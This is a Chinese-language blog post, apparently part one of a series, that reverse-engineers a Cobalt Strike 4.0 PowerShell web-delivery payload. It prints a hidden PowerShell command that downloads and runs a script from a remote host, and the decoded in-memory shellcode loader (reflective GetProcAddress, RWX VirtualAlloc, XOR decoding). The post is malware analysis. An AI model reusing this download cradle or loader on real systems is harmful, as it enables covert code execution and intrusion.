Cobaltstrike4.0——记一次上头的powershell上线分析(一)

简介: Cobaltstrike4.0——记一次上头的powershell上线分析

简单记录下之前CS的powershell上线分析心路历程。

本文主要分析内容

1、CS powershell上线过程分析

2、powershell shellcodeloader分析

3、shellcode内容

4、dll注入相关内容

5、ReflectDllInjection技术分析

生成攻击payload:

CS通过Arttack—>Web Drive-by—>Scripted Web Delivery(s)

生成的攻击payload如下:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.129.132:80/xxx'))"

取hxxp://xxx:port/xx文件内容

直接访问对应地址,http://192.168.129.132:80/xxx拿到内容:

$s\=New-Object IO.MemoryStream(,\[Convert\]::FromBase64String("H4sIAAAAAAAAAOy9Wc/q..........................................EJEsbCTVgUA"));  
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,\[IO.Compression.CompressionMode\]::Decompress))).ReadToEnd();

简化下:

$s\=New-Object IO.MemoryStream(,\[Convert\]::FromBase64String("字符内容"));  
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,\[IO.Compression.CompressionMode\]::Decompress))).ReadToEnd();

其实就是执行一个IEX的powershell命令,传入的参数为上面那段字符串的base64解码然后gzig解压缩之后的内容:

base64 AND Gzip Decode

所以这里我们直接对上述字符串解码:

简单写个java脚本解下( 当然其实大可不必,直接丢powershell里面就可以解出来重定向到文件里面即可,或者直接一个工具也能比较方便的解出来比如CyberChef,但是这里我习惯用java处理,就几行代码,也很快):

import sun.misc.BASE64Decoder;  
import java.io.\*;  
import java.nio.file.Files;  
import java.nio.file.Path;  
import java.nio.file.Paths;  
import java.util.Base64;  
import java.util.zip.GZIPInputStream;  
import java.util.zip.ZipException;  
/\*\*  
 \* @author ga0weI  
 \* @time 20220731  
 \*/  
public class OtherforCStest {  
    public static void main(String\[\] args) throws Exception {  
        try(  
        FileOutputStream fileOutputStream \= new FileOutputStream("Afterdbase64Dgzip.txt")){  
        Path path \= Paths.get("Waitdbase64Dgzip.txt");  
        byte\[\] bytess\= Files.readAllBytes(path);  
        byte\[\] res \= Base64.getDecoder().decode(bytess);//base64解码  
        byte\[\] bres \= uncompress(res);//gzip解码  
        fileOutputStream.write(bres);  
        System.out.println("解码完成,生成文件Afterdbase64Dgzip.txt");  
        }  
    }  
    /\*\*  
     Gzip解压  
     \*/  
    public static byte\[\] uncompress(byte\[\] bytes) throws ZipException, IOException {  
        if (bytes \== null || bytes.length \== 0) {  
            return null;  
        }  
        ByteArrayOutputStream out \= new ByteArrayOutputStream();  
        ByteArrayInputStream in \= new ByteArrayInputStream(bytes);  
        GZIPInputStream ungzip \= new GZIPInputStream(in);  
        byte\[\] buffer \= new byte\[256\];  
        int n;  
        while ((n \= ungzip.read(buffer)) \>= 0) {  
            out.write(buffer, 0, n);  
        }  
        return out.toByteArray();  
    }  
}

解出来之后:

Set-StrictMode \-Version 2  
function func\_get\_proc\_address {  
    Param ($var\_module, $var\_procedure)       
    $var\_unsafe\_native\_methods \= (\[AppDomain\]::CurrentDomain.GetAssemblies() | Where-Object { $\_.GlobalAssemblyCache \-And $\_.Location.Split('\\\\')\[\-1\].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')  
    $var\_gpa \= $var\_unsafe\_native\_methods.GetMethod('GetProcAddress', \[Type\[\]\] @('System.Runtime.InteropServices.HandleRef', 'string'))  
    return $var\_gpa.Invoke($null, @(\[System.Runtime.InteropServices.HandleRef\](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var\_unsafe\_native\_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var\_module)))), $var\_procedure))  
}  
function func\_get\_delegate\_type {  
    Param (  
        \[Parameter(Position \= 0, Mandatory \= $True)\] \[Type\[\]\] $var\_parameters,  
        \[Parameter(Position \= 1)\] \[Type\] $var\_return\_type \= \[Void\]  
    )  
    $var\_type\_builder \= \[AppDomain\]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), \[System.Reflection.Emit.AssemblyBuilderAccess\]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', \[System.MulticastDelegate\])  
    $var\_type\_builder.DefineConstructor('RTSpecialName, HideBySig, Public', \[System.Reflection.CallingConventions\]::Standard, $var\_parameters).SetImplementationFlags('Runtime, Managed')  
    $var\_type\_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var\_return\_type, $var\_parameters).SetImplementationFlags('Runtime, Managed')  
    return $var\_type\_builder.CreateType()  
}  
If (\[IntPtr\]::size \-eq 4) {  
    \[Byte\[\]\]$var\_code \= \[System.Convert\]::FromBase64String('bnlicXZrqsZr............................................jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw==')  
    for ($x \= 0; $x \-lt $var\_code.Count; $x++) {  
        $var\_code\[$x\] \= $var\_code\[$x\] \-bxor 35  
    }  
    $var\_va \= \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer((func\_get\_proc\_address kernel32.dll VirtualAlloc), (func\_get\_delegate\_type @(\[IntPtr\], \[UInt32\], \[UInt32\], \[UInt32\]) (\[IntPtr\])))  
    $var\_buffer \= $var\_va.Invoke(\[IntPtr\]::Zero, $var\_code.Length, 0x3000, 0x40)  
    \[System.Runtime.InteropServices.Marshal\]::Copy($var\_code, 0, $var\_buffer, $var\_code.length)  
    $var\_runme \= \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer($var\_buffer, (func\_get\_delegate\_type @(\[IntPtr\]) (\[Void\])))  
    $var\_runme.Invoke(\[IntPtr\]::Zero)  
}

这里面其实就是定了一个两个方法(func_get_proc_address、func_get_delegate_type),然后代码逻辑里面是做了一个if条件判断然后执行一段代码,代码里面调用上面定义的两个方法。

分析代码逻辑

if的判断条件是[IntPtr]::size的值

这个值是用来判断powershell的session是x86还是x64:

如下:x64里面[IntPtr]::size为8

x86是里面是[IntPtr]::size为4。其实这里就是我们在生成payload的时候我们是否勾选x64:

if条件满足后,定义了一个字节数组var_code,这个的内容是对后面那串base64解码之后的内容。

随后进入一个for循环,for循环里面是对var_code里面的字节逐个做异或,异或35(异或是模2同余运算,所以加解密的操作一样,这里是解密)

这里其实是在做还原,只不过因为异或的特殊性,异或就是2进制里面的mod2同余操作,所以这里在生成payload的时候的加密操作也是和35做异或,最后解密也是异或。

这里我们简单写个脚本解密和解密下:还是用java来:

package myutils;  
import java.io.FileOutputStream;  
import java.nio.file.Files;  
import java.nio.file.Path;  
import java.nio.file.Paths;  
import java.util.Base64;  
/\*\*  
 \* @author ga0weI  
 \* @time 20220731  
 \*/  
public class Dbase64andDxor {  
    public static void main(String\[\] args) throws  Exception{  
        String filename \= "Waitdbase64Dxor.txt"; //待解密的base64字符串文件  
        fileforDxorFile(filename);  
    }  
    public static void fileforDxorFile(String filepath)throws Exception{  
        Path p \= Paths.get(filepath);  
        byte\[\] filenamebytes \= Files.readAllBytes(p);  
        byte\[\] afterDbase64bytes \= Base64.getDecoder().decode(filenamebytes);//base64解码  
        byte\[\] afterDxorbytes \= new byte\[afterDbase64bytes.length\];  
        int i \=0;  
        for(i\=0;i<afterDbase64bytes.length;i++){  
            afterDxorbytes\[i\]\=(byte)(afterDbase64bytes\[i\]^35);//xor解密  
        }  
        try(FileOutputStream fis \=new FileOutputStream("final"))  
        {  
            fis.write(afterDxorbytes);  
            System.out.println("文件生成:final");  
        }  
     }  
}

运行后生成的解密后的final文件:

一、分析解密后的final文件,也就是最后var_code字节数组里面的值

拿winhex直接打开,打开后发现这个文件是个pe文件,

接下来我们来回顾下pe文件的文件格式,PE文件最主要的两种形式就是exe和dll文件:

dos头中,我们只要知道头是MZ,3c的位置指向PE头,除此之外,doc头中间部分的值和3C的值到PE头的位置中见的部分的值都是可以随意填充的不影响运行,可以填充为00。

接下来我们来看PE文件头:

PE文件头一共20字节

typedef struct \_IMAGE\_FILE\_HEADER {
WORD Machine;2 //CPU类型 
WORD NumberOfSections;2 //节数 
DWORD TimeDateStamp;4 //编译器的时间戳 
DWORD PointerToSymbolTable;4 //COFF文件符号表在文件中的偏移 
DWORD NumberOfSymbols;4 //如果有COFF 符号表,它代表其中的符号数目,COFF符号是一个大小固定的结构,如果想找到COFF 符号表的结束位置,则需要这个变量 
WORD SizeOfOptionalHeader;2 //可选pe头的大小 
WORD Characteristics;2 //文件属性相关 
} 
IMAGE\_FILE\_HEADER, \*PIMAGE\_FILE\_HEADER;

如下图:

最后的文件属性,要将两个字节的内容转成2进制,然后匹配下面的数据位:如 上图中对应两字节为A022

转成2进制:1010 0000 0010 0010 —>第15、13、5、1位,所以该文件是一个大尾文件、dll文件、对应的应用程序可以处理大于2gb的地址,文件时可执行的:(这里也可以去参考导入和导出表来判断是dll还是exe)

直接使用Exeinfo先看下:

正常dll文件。

到这我有点懵了,放个dll文件放这干啥,

这里我们回过头去看下后续对该dll二进制文件的处理,也就是异或解密后的代码:

二、分析解密code之后的相关执行逻辑:

If (\[IntPtr\]::size \-eq 8) {  
    \[Byte\[\]\]$var\_code \= \[System.Convert\]::FromBase64String('bnlicXZrqsZr............................................jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw==')  
    for ($x \= 0; $x \-lt $var\_code.Count; $x++) {  
        $var\_code\[$x\] \= $var\_code\[$x\] \-bxor 35  
    }  
    $var\_va \= \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer((func\_get\_proc\_address kernel32.dll VirtualAlloc), (func\_get\_delegate\_type @(\[IntPtr\], \[UInt32\], \[UInt32\], \[UInt32\]) (\[IntPtr\])))  
    $var\_buffer \= $var\_va.Invoke(\[IntPtr\]::Zero, $var\_code.Length, 0x3000, 0x40)  
    \[System.Runtime.InteropServices.Marshal\]::Copy($var\_code, 0, $var\_buffer, $var\_code.length)  
    $var\_runme \= \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer($var\_buffer, (func\_get\_delegate\_type @(\[IntPtr\]) (\[Void\])))  
    $var\_runme.Invoke(\[IntPtr\]::Zero)  
}

解密之后的执行逻辑一共就五句话:

第一句:

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

这里是调用了Marshal对象的GetDelegateForFunctionPointer方法,传入了两个参数:

参数一:func_get_proc_address kernel32.dll VirtualAlloc

参数二:func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))

这里其实就是调用了上面在这段代码前定义的两个方法:

第一个方法:func_get_proc_address

其实现如下:

function func\_get\_proc\_address {  
    Param ($var\_module, $var\_procedure)       
    $var\_unsafe\_native\_methods = (\[AppDomain\]::CurrentDomain.GetAssemblies() | Where-Object { $\_.GlobalAssemblyCache -And $\_.Location.Split('\\\\')\[-1\].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')  
    $var\_gpa = $var\_unsafe\_native\_methods.GetMethod('GetProcAddress', \[Type\[\]\] @('System.Runtime.InteropServices.HandleRef', 'string'))  
    return $var\_gpa.Invoke($null, @(\[System.Runtime.InteropServices.HandleRef\](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var\_unsafe\_native\_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var\_module)))), $var\_procedure))  
}

如上代码,其实从函数名称里面我们就可以大概看出来这个函数干了啥:应该是获取了某个procedure的地址和winapi kernel32.dll里面的GetProAddress类似,这里我们简单来看下这些代码干了啥:

该函数传入两个参数,一个是module,一个是procedure,然后第一句是从当前系统程序集里面找到System.dll并调用GetType获取其UnsafeNatibeMethods对象:

$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

如下的第二句:通过上面获取的UnsafeNatibeMethods对象调用GetMethod来获取GetProAddress的句柄,其实就是指针,也就是在.net(powershell是基于.net的)中的非托管函数指针。

$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))

如下最后一句:最后一句非常长,其实就是一个反射调用,先是和上面同样的方式通过$var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module))拿到传入module的句柄,然后这个反射调用就等价于调用了GetProcAddress(hMoudle,lpProcName),hMoudle是传入的参数module,lpProcName是传入的参数lpProcName。

return $var\_gpa.Invoke($null, @(\[System.Runtime.InteropServices.HandleRef\](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var\_unsafe\_native\_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var\_module)))), $var\_procedure))

所以总结下:这个func_get_proc_address函数的功能就是获取传入dll里面对应传入函数名的地址。和win api里面Kernel32.dll里面GetProcAddress一样,按笔者的理解,其实这里就是c#中如何去实现调用GetProcAddress,只不过这里是通过System.dll这条路过去的,应该还有其他办法,这种可能是一种免杀的手段(包括这里通过反射调用啥的)。

第二个方法:func_get_delegate_type

function func\_get\_delegate\_type {  
    Param (  
        \[Parameter(Position = 0, Mandatory = $True)\] \[Type\[\]\] $var\_parameters,  
        \[Parameter(Position = 1)\] \[Type\] $var\_return\_type = \[Void\]  
    )  
    $var\_type\_builder = \[AppDomain\]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), \[System.Reflection.Emit.AssemblyBuilderAccess\]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', \[System.MulticastDelegate\])  
    $var\_type\_builder.DefineConstructor('RTSpecialName, HideBySig, Public', \[System.Reflection.CallingConventions\]::Standard, $var\_parameters).SetImplementationFlags('Runtime, Managed')  
    $var\_type\_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var\_return\_type, $var\_parameters).SetImplementationFlags('Runtime, Managed')  
    return $var\_type\_builder.CreateType()  
}

这两个方法都看完了,我们回到上面的五句逻辑代码:

$var\_va = \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer((func\_get\_proc\_address kernel32.dll VirtualAlloc), (func\_get\_delegate\_type @(\[IntPtr\], \[UInt32\], \[UInt32\], \[UInt32\]) (\[IntPtr\])))  
    $var\_buffer = $var\_va.Invoke(\[IntPtr\]::Zero, $var\_code.Length, 0x3000, 0x40)  
    \[System.Runtime.InteropServices.Marshal\]::Copy($var\_code, 0, $var\_buffer, $var\_code.length)  
    $var\_runme = \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer($var\_buffer, (func\_get\_delegate\_type @(\[IntPtr\]) (\[Void\])))  
    $var\_runme.Invoke(\[IntPtr\]::Zero)

第一句这里其实就是调用System.Runtime.InteropServices.Marshal对象的GetDelegateForFunctionPointer方法,传入VirtualAlloc的函数地址以及一个我们构造的委派类型,我们来看下这个方法是干啥的:

所以第一句就是将我们传入的VirtuaAlloc非托管函数指针转换成我们第二个参数中构造的委托类型的委托。为什么要这么做呢?

因为windows 的api在不是基于.net的,这里称不是基于.net的api,也就是第三方的api,称为非托管函数;所以我们在powershell中要调用VirtualAlloc这个win api的时候,我们不能直接通过非托管函数调用,那么怎么调用呢,调用的方法之一就是这里的通过GetDelegateForFunctionPointer方法将非托管函数指针转换成委托实例来调用。

如下的第二句话就是通过反射调用第一句中的委托:就相当于调用VirtualAlloc这个api,开辟了一个上面var_code大小的空间。返回该地址的基址给var_buffer

$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)

如下的第三句话:调用System.Runtime.InteropServices.Marshal的Copy方法,将var_code字节数组里面的值复制到刚刚开辟出来的var_buffer空间中。

[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

至此,我们的dll文件就写到了该进程的运行内存中:

如下是第四句话:就是调用GetDelegateForFunctionPointer方法将开辟出来空间的非托管函数指针转化成实例,为下面调用做准备

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))

如下是第五句话:反射直接在该进程中运行第四句获取的委托,其实就是运行那个字节码,也就是我们看上去像是dll的字节码(其实也是字节码)

$var_runme.Invoke([IntPtr]::Zero)

简单回看下上面的5句话,会发现这里的5句话其实就是一个shellcodeloader,那么var_code里是我们想要执行的shellcode。那为啥这里我们解密出来的var_code也就是所谓的“shellcode”是个dll呢?

这里我们就要思考下普通shellcode在这里是怎么工作的了,在笔者看来shellcode本身其实就是一串没有“依赖”的机器码,我们可以将其注入到任意的EXE文件里面,通过hook的方式也好,直接注入,(如修改入口点先执行shellcode再跳回ep)也好,其都能够执行,不依赖宿主导入表和重定向表等。

所以接下来分析的思路有两条:

1、直接将dll当作shellcode作为机器码转为汇编来分析

2、了解下关于shellcode和dll之间联系的技术

笔者在分析这里的时候其实是走了一个很长的弯路,第二条路,并且然后跑偏了去学习shellcode编写和相关dll注入技术了。不过巧合的是,通过这两点技术的学习,使笔者之后对分析上面这个dll更加得心应手(包括对后期的msf和csshellcode的分析也更加清晰)。当然不置可否,如果只是从解决问题的角度肯定走第一条路更好。

这里笔者从第二条思路展开写下自己的一个学习过程,因为第一条思路其实是比较无聊的,就是硬肯汇编代码,并且没有思路,不好理解。



相关文章
|
安全 API 数据安全/隐私保护
Cobaltstrike4.0——记一次上头的powershell上线分析(三)
Cobaltstrike4.0——记一次上头的powershell上线分析
281 0
|
安全 API
Powershell脚本分析
Powershell脚本分析
CS-Powershell免杀-过卡巴等杀软上线
CS-Powershell免杀-过卡巴等杀软上线
516 0
|
PHP
Powershell写入文件问题简要分析
Powershell写入文件问题简要分析
91 1
|
安全 Shell API
powershell红队免杀上线小Tips
powershell红队免杀上线小Tips
powershell红队免杀上线小Tips
|
Python
PowerShell随机免杀结合ps2exe上线
PowerShell随机免杀结合ps2exe上线
325 0
|
存储 安全 API
Cobaltstrike4.0——记一次上头的powershell上线分析(二)
Cobaltstrike4.0——记一次上头的powershell上线分析
380 0
|
1月前
|
监控 关系型数据库 MySQL
PowerShell 脚本编写 :自动化Windows 开发工作流程
PowerShell 脚本编写 :自动化Windows 开发工作流程
30 0